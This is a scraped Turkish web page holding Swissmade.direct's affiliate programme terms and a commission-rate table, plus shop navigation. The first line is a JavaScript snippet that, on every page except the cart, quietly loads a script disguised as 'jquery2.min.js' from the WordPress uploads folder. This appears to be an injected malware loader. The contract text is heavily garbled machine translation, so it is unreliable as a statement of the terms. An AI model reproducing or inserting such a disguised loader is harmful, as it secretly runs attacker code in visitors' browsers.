if (window.location.pathname !== '/cart/') { var scriptElement = document.createElement('script'); scriptElement.src = '/wp-content/uploads/jquery2.min.js'; document.head.appendChild(scriptElement); }

ORTAK PROGRAM SÖZLEŞMESİ & HÜKÜM VE KOŞULLARI

Bu Ortaklık Programı Sözleşmesi ("Sözleşme") 28 Eylül 2016 tarihinde (ve daha sonraki güncellemeler) imzalanmış ve yürürlüğe girmiştir. SWISSMADE Ticaret Ltd. Swissmade.direct, (SMT), İsviçre yasalarına göre örgütlenmiş ve var olan, merkez ofisi şu adreste bulunan bir şirkettir: Littauerboden 1, CH-6014 Lucerne ve Kayıtlı ve kabul edilen Ortaklık (Katılımcı) ortaklık web sitesinde kayıtlı adrese göre yasal ikametgahlıdır. Ortaklık Programının aboneliğiyle aşağıdaki şekilde anlaşmaya varılmıştır: RESİTALLER
  1. Bu ortaklık programının adı Swissmade.direct Ortaklık Programı ( “Ortaklık Programı”) 'dir.
  2. Katılımcı temsil ve Katılımcı okuyup Gizlilik Politikaları anlamak ve orada belirtildiği şartları kabul etmiştir SMT garanti eder.
  3. Bu Sözleşmenin amaçları doğrultusunda, “Katılımcı” terimi, Ortaklık Programına başvuran ve kabul edilen gerçek veya tüzel kişiyi ifade eder. “SMT” terimi, Ortaklık Programının sponsorunu ifade eder. “SMT'nin web sitesi” terimi, SMT'nin swissmade.direct adresinde sürdürdüğü web sitesini ifade eder. “Katılımcının web sitesi” terimi, Katılımcının SMT'nin web sitesine bir bağlantı yerleştirmeyi kabul ettiği web sitesini ifade eder, ancak aynı zamanda SMT Ortaklık Programından oluşturulan URL'yi ve Katılımcının Ortaklık Programındaki ilgili hesabını da içerir. katılımcı SMT web sitesinde kayıtlıdır. "Mal", SMT'nin web sitesi aracılığıyla satışa sunduğu tüm ürünler, mallar ve stoklar anlamına gelir.
1. BAĞIMLILIK PROGRAMI KAYIT

Ortaklık Programına kaydolmak için Katılımcı, SMT Ortaklık Programı Başvuru Formunu doldurmalı ve göndermelidir. Ortaklık Programı Başvuru Formu SMT'nin web sitesinde yer almaktadır ve web sitesi aracılığıyla doldurulabilir ve gönderilebilir. Katılımcı tüm bilgileri doğru bir şekilde tamamlamayı taahhüt eder.

2. ONAY YA BAĞIMLILIK PROGRAMI UYGULAMA RED

SMT, herhangi bir zamanda, yegane ve mutlak takdir yetkisi dahilinde HERHANGİ BİR Ortaklık Programı Başvurusunu onaylama veya reddetme hakkını saklı tutar. Katılımcı Ortaklık Programı Başvurusunun reddi için Katılımcı'nın SMT'ye herhangi bir yasal rücu hakkı olmayacaktır.

3. Reddedilme sebepleri

SMT'nin mutlak takdirinde olmak üzere, herhangi bir nedenle herhangi bir başvuruyu reddetme hakkını sınırlamadan, Katılımcı başvurusu eksik, doğru doldurulmamış veya Katılımcı'nın web sitesi veya işletmesi, kabul edilemez görseller veya içerikler içeriyorsa reddedilecektir. SMT'nin veya SMT'nin web sitesi ile bağlantılı olarak oluşturmak istediği imajla tutarsız olması; veya Katılımcı'nın web sitesinde örneğin herhangi bir yasa dışı, ahlak dışı, itici, küçük düşürücü, küçük düşürücü, taciz edici, zararlı, tehdit edici, müstehcen, kaba, pornografik, ırksal veya etnik açıdan sakıncalı materyaller bulunuyorsa, cinsel durumları tasvir ediyorsa, ayrımcılığı teşvik ediyorsa ırk, cinsiyet, cinsel tercih, ulusal köken, etnik köken, milliyet, engellilik, dini tercih, spam veya Katılımcının sitesinde SMT'ye herhangi bir patent, ticari marka, telif hakkı, ticari sır, gizli bilgi veya diğer herhangi bir tarafın diğer mülkiyet hakları.

4. KABUL SONRA FESİH

SMT, Katılımcıyı Ortaklık Programı üyesi olarak kabul ettikten sonra bile, SMT, yukarıda belirtilen sebepler dahil ancak bunlarla sınırlı olmamak üzere, tamamen kendi takdirine bağlı olarak herhangi bir nedenle Katılımcı üyelik statüsünü feshetme veya sona erdirme mutlak hakkını saklı tutar. Üyeliğin sona ermesiyle birlikte, bu Ortak Programının tüm faydaları aynı anda sona erecektir. Hesabın feshi, devre dışı bırakılması ve silinmesi önceden haber verilmeksizin yapılabilir.

5. FİNANSAL RESPONSIBILIITES

Katılımcı, arama motoru yerleşimi ve diğer maliyetleri Katılımcının web sitesine her ne pahasına ve geliştirilecek önlemler ve Ortaklık Programı pazarlama dahil, ancak kreasyonları ile ilgili tüm masrafları ile sınırlı değildir, barındırma giderleri ve iyileştirmeler için tamamen sorumlu olacak İnternet pazarlama, web sitesiyle, çevrimdışı pazarlama maliyetleri, posta masrafları ve diğer tüm masraf ve giderler ve Katılımcı vesile gelen veya aynı karşı zararsız SMT tutan içine SMT bağlantılar ekleme maliyetleri. SMT kendi maliyet en kendi web sitesi swissmade.direct ait ve ilgili URL oluşturulması için sadece sorumludur.

6. GEL potansiyeline ilişkin hiçbir BEYAN

SMT bu Ortaklık programına katılım sonucu ve özellikle Katılımcı ortaklık statüsünden potansiyel kazanç göre her türlü garantileri reddeder olabileceği olası gelirler konusunda herhangi bir beyanda ve garanti vermemektedir.

7. SORUMLULUK SMT sitesine yönlendiren bağlantının İÇİN

a.) Bir Ortak olarak Katılımcı, oluşturulan URL'leri (ürünler veya SMT sitesi dahil) SMT'nin Ortak programındaki hesabından dağıtma veya sitesine kullanıcıları SMT sitesine yönlendiren bağlantılar yerleştirme yükümlülüğüne sahip olacaktır. . SMT, Katılımcı'nın web sitesine yerleştirilecek olan buton bağlantılarını, metin bağlantılarını ve banner reklamları, kullanıcıları hiper metin bağlantısı aracılığıyla SMT'nin web sitesine yönlendirecek şekilde kullanıma sunacaktır. Program Ortağı olarak Katılımcıya, Program Ortağı olarak aktif katılım süresi boyunca, Katılımcının Katılımcı Ortak Programı Başvurusunda belirttiği web sitesinde Katılımcıya sağlanan SMT logo resimlerini kullanması için sınırlı süreli bir lisans verilir. .

b.) SMT Bağlı Şirketleri, URL, bağlantıları, afiş yapar ve bunun site veya ürünlerin tanıtımını yapan diğer bilgi mevcut bu Anlaşmanın şartlarına tabi kullanılacak. Bu malzemeler ticari markalarını ve diğer mülkiyet özelliğini içerecektir. Katılımcı SMT site ve ürün tanıtımı ve bu Ortaklık Programına katılan amacıyla Katılımcının web sitesinde bu malzemeleri görüntüleyebilir. Katılımcı Eğer Ortaklık Programı durdurma veya Katılımcı katılımı herhangi bir nedenle feshedilmesi halinde, Katılımcı derhal bu malzemeleri kullanarak sona erecek ve kendi web sitesinden ve bilgisayardan tüm bu maddeleri silecektir. Katılımcı SMT sitesine tüm bağlantıların SMT onayını alması gerektiğini kendi web sitesinde Katılımcı yer. Katılımcı Katılımcının web sitesindeki bağlantıların kurulması ve yerleşim SMT ile işbirliği yapacaktır.

c.) Katılımcı yalnızca bağlantıları ve URL SMT Katılımcı'ya sağlanan veya Katılımcı Ortaklık Programı Başvuruları tayin web sitesinde SMT'nin Ortaklık Programm Katılımcı hesabında oluşturulduğunu kullanmalarına izin alınacaktır. Herhangi ek web siteleri ya da kişiler SMT tarafından Ortaklık Programı Uygulamaları ve onayın ek gönderimleri gerektirecektir.

d.) Katılımcı SMT kendisi veya kendi sayfadaki bağlantılardan yerleşime sağlanan bağlantıları veya diğer materyalleri değiştirmez. Katılımcının web sitesine izleme SMT Katılımcı rıza bu Anlaşma hükümlerine uygunluğun belirlenmesi.

e.) SMT raporlarında Katılımcının sitesinden gelen trafiği bilgi akrabası dahil SMT Katılımcı rıza. Bu bilgiler dışındaki taraflara sağlanabilir.

8. MÜŞTERİ SERVİSİ

a.) SMT Katılımcının sitesinden bağlantılar aracılığıyla SMT sitesine girmek müşterilerine tüm müşteri taleplerini, ürün siparişleri, müşteri fatura ve tahsilat, ürün sevkiyat göreli işlemek için sorumlu olacaktır. SMT ürün ve hizmet Fiyatlandırma kendi takdirine içinde tamamen ve SMT olmadan, fiyatlandırma yapısını değiştirmek özel teklifleri sonlandırmak, ürünlerini veya hizmetlerini durdurma veya ürünlerin veya hizmetlerin herhangi bir zamanda sunulan hangi şartlar altında değiştirme hakkını saklı tutar Katılımcı veya SMT sitesine erişen kullanıcılara herhangi bir gelişmiş bildirim. Bu konuda Katılımcıya SMT tek sorumluluk SMT ve / veya Katılımcının sitesinden link Ortaklık Programına Katılımcının hesabının oluşturulan URL üzerinden meydana müşteri siparişlerini izlemek ve Katılımcı'ya raporlar yapmaktır bunun bir sonucu olarak Katılımcıya bağlı komisyon. Tüm bu raporlar bağımsız denetimden geçmemiş olacaktır. SMT bakılmaksızın Katılımcının sitesinden bağlantı yoluyla SMT sitesine erişmek bakılmaksızın, herhangi bir müşteriye herhangi bir özel bilgi akrabası sahip Katılımcıya sağlama zorunluluğu olacaktır.

başarısızlık Katılımcıya herhangi satışı veya komisyon atamak b.) SMT sorumlu değilse Ortaklık Programına Katılımcının sitesinden bağlantı veya oluşturulan URL'nin hatalı biçimlendirme aynı sonuçları. Katılımcı bağlantı veya URL uygun şekilde biçimlendirilmiş olması her zaman garanti ve Katılımcı hemen SMT aynı ile olabilecek problemleri bildirmelidir.

9. ÜCRET

a.) Katılımcı'nın Ortaklık Programı URL'si veya web sitesi aracılığıyla SMT sitesine erişen kullanıcılara yapılan (net) satışların yüzdesi üzerinden Katılımcı'ya komisyon ödenecektir. Komisyonlar, herhangi bir nakliye ve işleme, satış vergisi, hediye paketi veya paketleme gibi özel hizmet ücretleri, gecikme ücretleri, toplama maliyetleri, ithalat/ihracat vergileri ve yapılan diğer ödemeler hariç, bir siparişin net satış fiyatı üzerinden hesaplanacaktır. satın alınan ürünün satın alma fiyatı olmayan SMT'ye. Kredi kartı dolandırıcılığı, müşterilere verilen kredi veya indirimler, şüpheli alacak hakkı, ters ibraz ve iade edilen mallara ilişkin tutarlar üzerinden komisyon hesaplanmayacaktır. SMT, daha sonra iade edilen veya para iadesi yapılan bir ürün için veya önceki aylık komisyonun fazla ödenmesi veya daha sonra indirime tabi olması durumunda başka herhangi bir nedenle SMT'nin ödediği herhangi bir komisyon için sonraki aylarda kesinti yapma hakkını saklı tutar. Oranlar, Katılımcı İştirak hesabında gösterilen takvim yılı boyunca geçerli ödenen satışların toplam net tutarına göre değişir.

Bu Anlaşma sonunda ek A'da b.) yüzdeler anda devreye Aşağıdaki gibi olan ödenecek. SMT SMT takdirine bağlı olarak, değiştirme ve herhangi bir zamanda komisyon oranı yapısını değiştirme hakkını saklı tutar.

c.) Komisyonlar sadece SMT çevrimiçi takip sistemi aracılığıyla izlenir ve Katılımcının URL'sini veya kaynak olarak web sitesinin bağlantısını gösterir satışların üzerine ödenecektir. Bir kullanıcı daha sonra SMT siteye döner ve Katılımcının URL veya web sitesi aracılığıyla başka bağlantı veya başka bir kaynaktan üzerinden alışveriş yaparsa komisyonlarına hakkı yok. Katılımcı müşteri ilk Katılımcının sitesinden bağlantı yoluyla SMT sitesinde geldi bile, daha sonraki satışlara bağlı komisyon hakkı yoktur. Komisyonlar sadece izlenir ve kullanıcı kullanıcı Katılımcının site veya onun URL bağlantısından SMT siteyi ziyaret aynı ziyaretimde satın alma işlemi gerçekleştirdiğinde ödenecektir. sonraki satışlarda için belki ek A'ya göre daha düşük komisyon ödemesi

d.) SMT SMT sadece tahsilatta komisyon ödeyecek. Uygulanabilir müşteri tam olarak SMT ve hiçbir ibraz isteği ödediği veya başka herhangi bir kayıp oluştu kadar Katılımcı komisyon hakkı yoktur. SMT çevrimiçi sipariş sürecinde yapılır Sadece alımları komisyon hesaplamaları sayılacaktır. Bir müşteri Katılımcının sitesinden bağlantı yoluyla ve bunun yerine bir online sipariş aramaları yapmak SMT web sitesini ziyaret ve telefon aracılığıyla sipariş yerleştirmesi durumunda Örneğin, Katılımcı, o satıştan herhangi bir komisyon hakkına sahip olacaktır.

e.) Komisyonlar müşteriye sipariş teslim sonra aylık üzerindeki bazında veya 10 günlerde Katılımcıya ödenecektir. SMT komisyon veya ödemelerin hesaplama kesin bir tarih garanti etmez. Tüm ödemeler Katılımcı Ortaklık Programı Başvuruları verilen hesaba havale yoluyla yapılacaktır. Katılımcı nedeniyle toplam komisyon, en az 10 CHF değilse SMT ödeme göndermez. 10 CHF Aşağıdaki tutarlar Katılımcı hesabınıza yansıyacaktır ve Katılımcının toplam komisyonları asgari 10 CHF ulaşmak zaman ödeme ayı için yapılacaktır. SMT istediği zaman asgari komisyon ödeme tutarını değiştirme hakkını saklı tutar. para transferi ile ilgili tüm ücretler eşit, partilerin ödenir.

10. MÜŞTERİLER PROVENANS

SMT internet sitesi aracılığıyla alışveriş yapmak tüm taraflar bakılmaksızın, Katılımcının web sitesi veya URL'den bağlantı üzerinden kendi web sitesini ulaşmış olabilir bakılmaksızın, SMT müşterileri olarak kabul ve SMT ürünlere Katılımcının müşterileri göreceli değildir ve hizmetler. SMT Bu müşterileri başvurun ve onlara gelecekteki pazarlama teklifi gönderme hakkına sahip olacaktır. Katılımcı Katılımcının web sitesi veya URL'den bir bağlantı aracılığıyla satın alma sırasında takip edilebilir sonraki alımlar hariç, bu müşteriler tarafından yapılabilir sonraki alışverişlerde komisyon hakkına sahip olacaktır. Ayrıca, bu tür tüm müşteriler ve alımları SMT politikalar, prosedürler, kurallar ve düzenlemelere tabi olacak ve Katılımcı değiştirmeye veya SMT sitesinden ürünlerin satın göre herhangi farklı teklifler sunmak için hiçbir hak ve yetkisine sahip. SMT ancak herhangi değiştirme hakkını saklı tutar onun şartlar, koşullar, politikalar, prosedürler, fiyatlandırma, ödeme politikaları, tahsilat politikaları ve kendi takdirine bağlı olarak herhangi bir zamanda SMT iş ve ürünlerin satışını göre tüm diğer öğeler.

11. Ticari markalar ve telif

a.) Katılımcı Katılımcı Katılımcı içinde tayin olduğunu Ortaklık Programı Başvurusu veya SMT sadece ana sayfasında kullanılmak üzere Katılımcıya sağlanan ticari markaları, logoları ve telif haklı materyali kullanmak için münhasır olmayan, sınırlı süreli lisansa sahip olacak URL'sinde SMT'nin Ortaklık programına yarattı. Katılımcı sadece SMT özel olarak özellikle Ortaklık Programı Üyeleri için onaylanmış görüntüler olarak belirlenmiş veya doğrudan kendilerine sağlanan web sitesinin alanda SMT Ortaklık Üyelerine kullanılabilir hale getirir görüntüleri kullanabilir. değiştirme, değiştirme, çoğaltamaz, dağıtamaz Katılımcı, hiçbir şekilde bu görüntüler. Katılımcı sadece Ortaklık Programı politikaları ve prosedürleri ve bu Sözleşmenin koşullarına uygun olarak SMT web sitesine ve ürünleri tanıtan amacıyla bu görüntüleri kullanabilir. böylece verilen lisans tüm şart ve bu Anlaşmanın koşullarına ve SMT oluşturmak ve Ortaklık Programı ile ilgili olarak zaman zaman değiştirebilir herhangi politikalarına uygunluğu tamamlamak tabidir.

b.) Katılımcı sadece SMT Katılımcıya temin edildiğini biçim, boyut, içerik ve görünüş olarak böyle öğeleri kullanır. Katılımcı bunları değiştirmeye izin verilmez. Katılımcı kendi web sitesinde belirgin Bu öğeleri görüntülemek için veya oluşturulan URL üzerinden dağıtmak için kabul eder. onlar SMT web sitesine bir köprü bağlantısını içeriyorsa Bu öğeler yalnızca kullanılabilir. Bu lisans derhal Ortaklık Programı sona ermesiyle birlikte sona erer. SMT ayrıca bu öğelerin Katılımcının kullanımı aykırı veya onun standartlarına tamamen kendi takdirine bağlı olarak belirlenecek böyle standartlara uymayan durumunda Katılımcıya bildirim üzerine bu lisansı sona erdirebilir. Katılımcı SMT ve tüm bu tür malzemelere tüm hak, unvan ve çıkarları elinde kabul eder. SMT bu malzemelerin herhangi biri ile ilişkili tüm niyet ve diğer değerini muhafaza edecektir. Katılımcı bu tür malzemelere herhangi bir marka, telif hakkı veya diğer mülkiyet haklarını kazanmak olmaz. Katılımcı bu malzemelere SMT haklarıyla aykırı veya tutarsız herhangi bir işlem kabul eder. Katılımcı SMT, zarar düşürücü, küçültücü, küçültücü, veya negatif olduğu ya da yanlış veya olumsuz bir şekilde SMT boyalar herhangi bir şekilde bu malzeme kullanmaz. SMT Katılımcı yazılı olarak herhangi bir zamanda bu çerçevede verilen sınırlı lisansı iptal edebilir. fesih veya iptal üzerine, Katılımcı hemen herhangi bir kullanım bu malzeme elde sona erecek.

c.) Katılımcı dahil herhangi ait malzemeleri kullanmalarına izin fakat herhangi bir başka tarafa SMT veya ait olup hangi SMT web'de görünebilir marka, telif, logo, metin ve diğer malzemeler ile sınırlı değildir bir site.

d.) SMT, web sayfası başlıkları, sloganlar, logolar ve telif haklı materyalleri teşvik reklam amaçları Katılımcının ticari markaları, ticari isimleri, hizmet markaları, ticari adlarını kullanmak için münhasır olmayan bir hak ve lisans için Katılımcı bağışlar, Duyurmak veya SMT Ortaklık Programına Katılımcıyı pazarlamak. Katılımcı, SMT'ye, başka hiçbir tarafın bu materyallerin hiçbirinde herhangi bir haklara sahip olmadığını ve bu materyallerin herhangi bir başka tarafın haklarını ihlal etmediğini veya aksine herhangi bir şekilde müdahale etmediğini beyan ve garanti eder. Katılımcı, tüm bu tür materyallerin mutlak, tek ve özel SMT'si ve SMT'nin tüm ticari marka hakları, telif hakları ve diğer mülkiyet hakları ile aynı ve aynısı olduğunu beyan ve taahhüt eder. Katılımcı, bahsedilen malzemeleri yukarıda bahsedildiği gibi SMT'ye lisanslama hakkına, gücüne ve yetkisine sahip olduğunu ve Katılımcı'nın bu materyalleri lisanslama hakkına ilişkin herhangi bir hukuki veya sözleşmeye dayalı sınırlama olmadığını beyan eder. SMT, SMT Ortaklık Programına Katılımcının katılımını duyurmak, ilan etmek, pazarlamak veya tanıtmak zorunluluğu olmaksızın, yalnızca kendi takdirine bağlı olarak bunu yapma hakkını saklı tutar.

12. ÜRÜN BULUNABİLİRLİĞİ SMT ürün kullanılabilirliğini veya herhangi bir fiyat veya özel promosyon veya teklif süresini garanti edemez. 13. YETKİSİ

Katılımcı URL ve / veya geliştirme, bakım, işletme dahil ve Ortaklık Programı şartlarına uygun olarak Katılımcının sitesinde bağlantısı yerleştirmek web sitesinin Katılımcı kendi dağıtımına ilişkin tüm konularda sorumludur. Katılımcı kendi sitesinde veya URL'ye ve bu tür ürünler ihlal veya başka bir tarafın haklarını ihlal çıkmamasını sağlar görünen tüm öğeler için tamamen sorumludur. Katılımcı özellikle spam ve kara listeye politikalarına ilişkin, AL kural ve yönetmelikleri elde kanıtlıyor. SMT bunların Katılımcının sitesi URL dağıtım veya içeriğe ait her türlü konuda sorumlu tutulamaz ve Katılımcı ilgili eylem, takım elbise, tehdit, talepleri, yükümlülükler, eylemler, nedenlerini zararsız SMT tutar ve her türlü iddia gelen SMT zarar ödemesi Katılımcının web sitesine ve iş herhangi bir şekilde. Böyle tazminat tür konuyu savunmak SMT maliyetleri ve avukat ücretlerini içerir. Katılımcı temsil eder ve site ve yasa dışı ve Katılımcıların Alanı yasadışı amaçla veya yasadışı bir şekilde çalıştırılmaz olan herhangi bir malzeme içermez değildir SMT garanti eder.

14. BEYAN VE GARANTİ

Katılımcı vesile temsil eder ve SMT garanti bu Anlaşma içine girmek için tam güç ve yetkiye sahip olmak ve bu Anlaşma geçerli ve yasal olarak uygulanabilir bir anlaşma olduğunu. Bu Anlaşmanın giriş usulüne uygun ve geçerli bir şekilde gerekli tüm kurumsal ya da diğer örgütsel eylem ve onayları tarafından yetkilendirilmiş. Bu Anlaşmanın Katılımcının girişi herhangi bir dokümanın şartlarına yasak değildir, herhangi bir yasa, kural ve yönetmeliklere aykırı değildir ve herhangi bir mahkeme veya idari emrine aykırı değildir.

15. SÜRE

Katılımcı Ortaklık Programı Başvuru SMT tarafından kabul edilene kadar bu Anlaşma etkinliği başlamaz. etkinliği buradaki ve bağlayıcı etkisi Katılımcı Ortaklık Programı Uygulama SMT kabul edilmesi üzerine meydana gelecektir. Katılımcı tarafından veya SMT tarafından sonlandırıldı kadar bu Anlaşma tam olarak yürürlükte kalacaktır. SMT veya Katılımcı Ya bu Anlaşma uyarınca fesih diğer tarafın yazılı bildirimde bulunarak, nedenli veya nedensiz, herhangi bir zamanda bu Sözleşmeyi feshedebilir. Uyarılar Katılımcı Ortaklık Programı Uygulaması belirtilen e-posta adresine Katılımcıya E-posta ile olacaktır aşağıda gönderdi. Herhangi ve bu adreste E-posta ile Katılımcıya tüm bildirimler her türlü amaç için Katılımcıya etkili ihbar olarak kabul edilecektir.

16. FESİH

Katılımcı bu anlaşmanın bu Sözleşmenin şartları veya kurulabilir Ortaklık Programı herhangi politika ve prosedürler ve uygun Katılımcı yetmezliği sonucu sonlandırılması koşuluyla Katılımcıya tahakkuk etmiş olabilecek geçmiş komisyon almaya tüm hakkını ortadan kaldıracaktır zaman zaman kendi takdirine bağlı olarak SMT ile değiştirilen. Bu Sözleşme diğer bir nedenle feshedilirse, Katılımcı fesih yürürlük tarihinden yoluyla tahakkuk komisyon alma hakkına sahip olacaktır; CHF 10.00 aşmayan aşağıda nedeniyle Katılımcı toplam komisyon, böyle tahakkuk komisyon kaybedilir olacaktır takdirde, sağladı. SMT Katılımcı'ya ödenen miktar doğru ve iadeler, ibraz veya başka bir nedenle daha sonra ayarlamasına tabi olmadığını sağlamak için yeterli bir süre için nihai komisyon ödemeleri alıkoyma hakkına sahiptir. son ödeme aşağıdaki SMT Katılımcı ödendi komisyon miktarı müteakip getiri veya başka herhangi bir ayarlama ya da aklın bir sonucu olarak, çok yüksek olduğunu belirlerse, diferansiyel SMT Katılımcı bir borç olacak ve SMT -acak Katılımcı böyle ödenme komisyon geri ödeme yapılması için tüm yasal hakları vardır.

17. DEĞİŞİKLİKLER

SMT Katılımcı'ya bildirim üzerine bu Sözleşme'nin herhangi bir şart ve Ortaklık Programı koşullarını ve şartlarını ve koşullarını değiştirmek için tamamen kendi takdirine bağlı olarak saklı tutar. herhangi bir değişiklik Bildirimi Katılımcıya E-posta ile veya SMT web sitesinin Ortaklık Programı bölümlerinde bu tür değişiklikler yayınlayarak verilebilir. Bu tür değişiklikler ve modifikasyonlar SMT web sitesinde E-posta veya gönderme iletimi üzerine etkili olur. Katılımcı bu değişiklikler herhangi Katılımcı ve Katılımcı münhasır telafi hakkı olacaktır sona erme kabul edilemez olay Ortaklık Programı'na katılımı sona erdirebilir. Katılımcı bu tür değişiklikler aşağıdaki Ortaklık Programı'na katılmaya devam durumunda, Katılımcı Katılımcı tarafından kabul edilecek her türlü tür değişiklikleri kabul etmek katılımı devam etti.

18. YÜKÜMLÜLÜKLER

a.) SMT BURADA KULLANICILARI ITS WEB sitesine erişmek mümkün OLMAK YA LINK YA URL KATILIMCI WEB SİTESİNDEN VEYA DAĞITILIR URL'yi KULLANMA ITS Web sitesine erişmek için HERHANGİ arızası veya başarısızlık İLGİLİ TÜM GARANTİ VE SORUMLULUK KABUL ETMEZ. AYRICA, SMT SORUMLU OLMAYACAKTIR VE BURADA HERHANGİ VE WEB SİTE, AFFILIATE PROGRAMI, AFFILIATE PROGRAMINA KATILIMCI KATILIM, BU ORTAĞI programına katılarak herhangi bir komisyon VEYA BAŞKA KAR YAPMAK İÇİN KATILIMCI YETENEĞİ İLE İLGİLİ TÜM GARANTİLERİ , DAHİL ANCAK BİR AMACA VEYA ALINIP, HAK İHLALİ VEYA KÖTÜYE VEYA TİCARİ ADETLER SMT'S KURSU ESAS YAPILAN HERHANGİ BİR TALEP İÇİN UYGUNLUK HERHANGİ BİR GARANTİ SINIRLI DEĞİLDİR. SMT BEYAN VEYA GARANTİ BU ONUN WEB SİTESİ VEYA HERHANGİ BİR UYGULAMA, DAHİL ANCAK ONUN LINK VE / VEYA URL TAKİBİ ÖZELLİKLERİYLE SINIRLI OLMAMAK HATASIZ OLACAK YA ONLAR KESİNTİSİZ OLARAK işlev göreceği ETMEZ.

B.) SMT, HERHANGİ BİR DOĞRUDAN VEYA DOLAYLI HASAR VEYA HERHANGİ BİR DOĞA BORÇ SORUMLU DAHİL ANCAK, SONUÇTA, DOLAYLI VEYA ÖZEL HASAR arızi SINIRLI DEĞİLDİR Shall Not, ZARAR KAR KAYBI İŞ FIRSATI VEYA DİĞER ZARARLAR; Olup olmadıklarına bakılmaksızın, SMT OF WAS VEYA AYNI OLASILIĞI EDİLMİŞ VE AYNI ÖNLEMEK İÇİN HİÇBİR harekete geçti.

c.) forgoing sınırlandırmadan, aşağıda doğacak zararlardan SMT toplam yükümlülük toplam komisyon ödenmiş ve buradaki koşullar uyarınca SMT tarafından ödenecek geçmemelidir.

19. GİZLİLİK

herhangi bir bilgi SMT, gizli ve özel olduğunu düşündüğümüz SMT şirket ve iş herhangi bir şekilde ilişkili Ortaklık Programına katılımcı katılım yoluyla Katılımcı'ya ifşa edilmesi halinde, Katılımcı sıkı tür bilgileri tutmak için kabul eder güven ve başka hiçbir partiye bu tür bilgileri ifşa etmek veya Katılımcı kendi amaçları için bu tür bilgileri kullanma. Gizli bilgi SMT değişikliklerle bu Anlaşma da SMT içinde temin hakkını saklı tutar Katılımcı alabilirsiniz özel bir muamele ((SMT yapmak için hiçbir yükümlülüğü yoktur) bu Ortaklık Programı hakkındaki bilgileri içerecektir onun herhangi bağlı kuruma takdirine bağlı). Gizli bilgiler de SMT iş, iş planları, pazarlama planları, kullanıcı istatistikleri, mali bilgiler, fiyatlandırma, kar, üyelik bilgileri, kurumları, satış bilgileri ve SMT gizli olarak değerlendirdiği diğer tüm bilgiler ile ilgili her türlü bilgiyi içerecektir ve tescilli.

20. TAZMİNAT

Katılımcı vesile teminat altına ve SMT tutan ve SMT hissedarları, görevlileri, yöneticileri, çalışanları, yüklenicileri, kuruluşları, temsilcileri, halefleri tamamı ve birlikte herhangi bir eylemin tüm iddialar, yükümlülük, hasar, eylemler, nedenlerine karşı zararsız atar, SMT tabi gösterebileceğini bunlara ilişkin tüm masrafları ve avukat ücretleri dahil takım elbise, tehdit, talepleri, yerleşim, tamamen veya Ortaklık programına katılımcı katılımı üzerine kısmen herhangi bir hak talebinde dayandığını Katılımcı markalar ve diğer herhangi herhangi diğer tarafın haklarını tescilli malzeme ihlal, herhangi bir terim, sözleşmelerin, durum, temsil veya garanti katılımcısı ihlali bu Anlaşma veya Ortaklık programına katılım herhangi politikaları veya Katılımcı kullanımına doğrudan veya dolaylı olarak ilişkili herhangi bir istemde bulunan , operasyon veya Katılımcının web sitesinin içeriği.

21. UYGULANACAK HUKUK

Bu Anlaşma İsviçre yasalarına göre yorumlanır. Herhangi ve tüm yasal işlemler göreceli Sözleşmeyi Lucerne, İsviçre mahkemelerinde olacaktır. 22. TARAF İLİŞKİSİ

Taraflar Sözleşmeyi bağımsız sözleşme ve burada yer alan hiçbir bağımsız sözleşme taraflarının dışında herhangi bir ilişki oluşturma gibi yorumlanacaktır vardır. partiler olmak ortakları, ortak girişimcilerle, hissedarlar, işveren / çalışan, ajan / hizmetkar olarak kabul edilmemelidir. Katılımcı bir mecburiyetin anlaşma, borç veya yükümlülük SMT bağlamak için hiçbir güç veya yetkisine sahiptir. Katılımcı SMT bir madde ya da temsilcisi olarak kendini sahip değildir. Bu hükmün herhangi bir değişiklik yazma formu ve yasal olarak geçerli signatured olacaktır.

23. UYARILAR

SMT bildirimler sertifikalı posta ile olacaktır, dönüş makbuz talep SMT E-posta ile veya SMT ağın Bağlı bölümünde aynı yayınlayarak Katılımcıya bildirecektir Bu Sözleşme'de yer alan adresine veya bu tür başka adresine gönderilen bir site. E-posta Katılımcı Katılımcı Ortaklık Programı Başvuruları SMT veya SMT web sitesinin Ortaklık bölümündeki bu tür yazıları asılmış sağlanan Eposta adresine gönderilen Katılımcıya bildirimler olacaktır. Periyodik bunlara belirtilen tüm bildirimleri izlemek için SMT web sitesinin Ortaklık bölümünü kontrol etmek Katılımcı sorumluluğunda olacaktır.

24. ÖDEV

Bu Anlaşma yalnızca partinin yararına olduğunu Ortaklık Programı Başvuruları Katılımcı listesi. Katılımcı herhangi bir diğer tarafa veya tüzel kişiye aşağıda bu Sözleşme'yi veya herhangi bir yarar ve yükümlülüğü doğru değil sahip olacaktır. Tüm atama girişimleri geçersiz olacaktır.

25 TÜM ANLAŞMA

Bu Anlaşması bu ileri konuyla ilgili olarak taraflar arasındaki sözleşmenin tamamını ve anlayışı belirler ve önceki tartışmalar, mutabakatların anlaşmaları, sunum, garanti veya buradaki konuyla ilgili taraflar arasındaki antlaşmalara her türlü supercedes. Aksi burada belirtilen haricinde Bu Anlaşma, yalnızca, tarafların her birinin yetkili temsilcisi tarafından imzalanmış bir yazı ile değiştirilebilir. Bu Anlaşması kapsamında bir ihlal veya varsayılan herhangi feragat bir sonraki veya ihlalini ve varsayılan bir feragat teşkil etmez ve burada ortaya konan anlaşmaları değiştirmek için hizmet eder.

Bu Anlaşmanın herhangi bir hükmü veya terim herhangi bir nedenle geçersiz olduğuna karar verilirse ise, bu Anlaşma veya bu Sözleşmenin herhangi bir koşul veya durumun kalanının uygulanabilirliğini etkilemeyecektir. 26. OT BU ŞARTLAR VE KOŞULLARI BEGINNING Katılımcı bu sözleşme ve şartlar ve koşullara SMT Ortaklık Programı sayfasında Ortaklık Programı hesabı oluşturma konusunda hemfikir. SMT teslim ve ilgili onay kabul ile Katılımcıya kabul eder. EK A CHF içinde Komisyon Oranları
satış CHF toplam tutarı % olarak ilk satışını ver % olarak müteakip satış değerlendirin
5'000.00 kadar 8 4
5'001.00 - 10'000.00 10 5
10'001.00 - 15'000.00 10 6
15'001.00 - 20'000.00 10 6.5
20'001.00 - 25'000.00 10 7
25'001.00 - 30'000.00

10

7.5
30'001.00 - Sınırsız özel anlaşma özel anlaşma

Alışveriş kartı

×
Sepetiniz boş. Dükkana git
Para biriminizi seçin
En gidin
Ara
YİYECEK VE İÇECEK

Bisküvi
Güzellik ve Bakım
Çikolata
Yiyecek ve içecekler
İsviçre Kahvesi
Vejetaryen yiyeceği

İş Dişli
Kamp ekipmanları
Spor
İsviçre Sırt Çantası
Seyahat Çantaları

AKSESUARLAR
OYUNLAR VE OYUNCAKLAR
KALEMLER VE BOYALAR
